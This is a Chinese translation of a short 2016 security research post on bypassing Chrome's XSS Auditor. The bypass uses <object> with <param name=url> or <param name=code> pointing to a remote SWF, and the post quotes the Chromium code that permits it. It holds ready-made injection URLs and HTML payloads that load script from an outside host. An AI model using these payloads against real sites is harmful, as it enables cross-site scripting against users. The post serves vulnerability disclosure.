利用冷门<param>
标签绕过XSS审计器
大家好!
我在阅读Chromium代码时偶然发现了一个XSS审计器的绕过方法。
这篇短文将分享这个绕过技巧。我已在Chrome Canary 57上确认有效。
绕过方式如下:
1
2
3
4
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
|
以下方式同样有效:
1
2
3
4
|
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
|
在发现HTMLObjectElement.cpp
中的代码之前,我不知道Chrome支持这样的参数:
1
2
3
4
|
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
|
使用<param name="src" value="//attacker/xss.swf">
和<param name="movie" value="//attacker/xss.swf">
会被XSS审计器拦截。但我注意到code
和url
参数不会被拦截。利用这一点,我们可以加载Flash并执行JavaScript。根据源代码注释,Chrome似乎是为了兼容性而支持此功能。但至少我确认它在IE/Edge和Firefox上无效。我认为Chrome可以移除这个支持功能。
以上就是关于使用<param>
标签绕过XSS审计器的内容。感谢阅读!
发布时间:2016年12月27日 凌晨4:01
作者:Masato Kinugawa
标签:Chrome, Flash, Security, XSS, XSSAuditor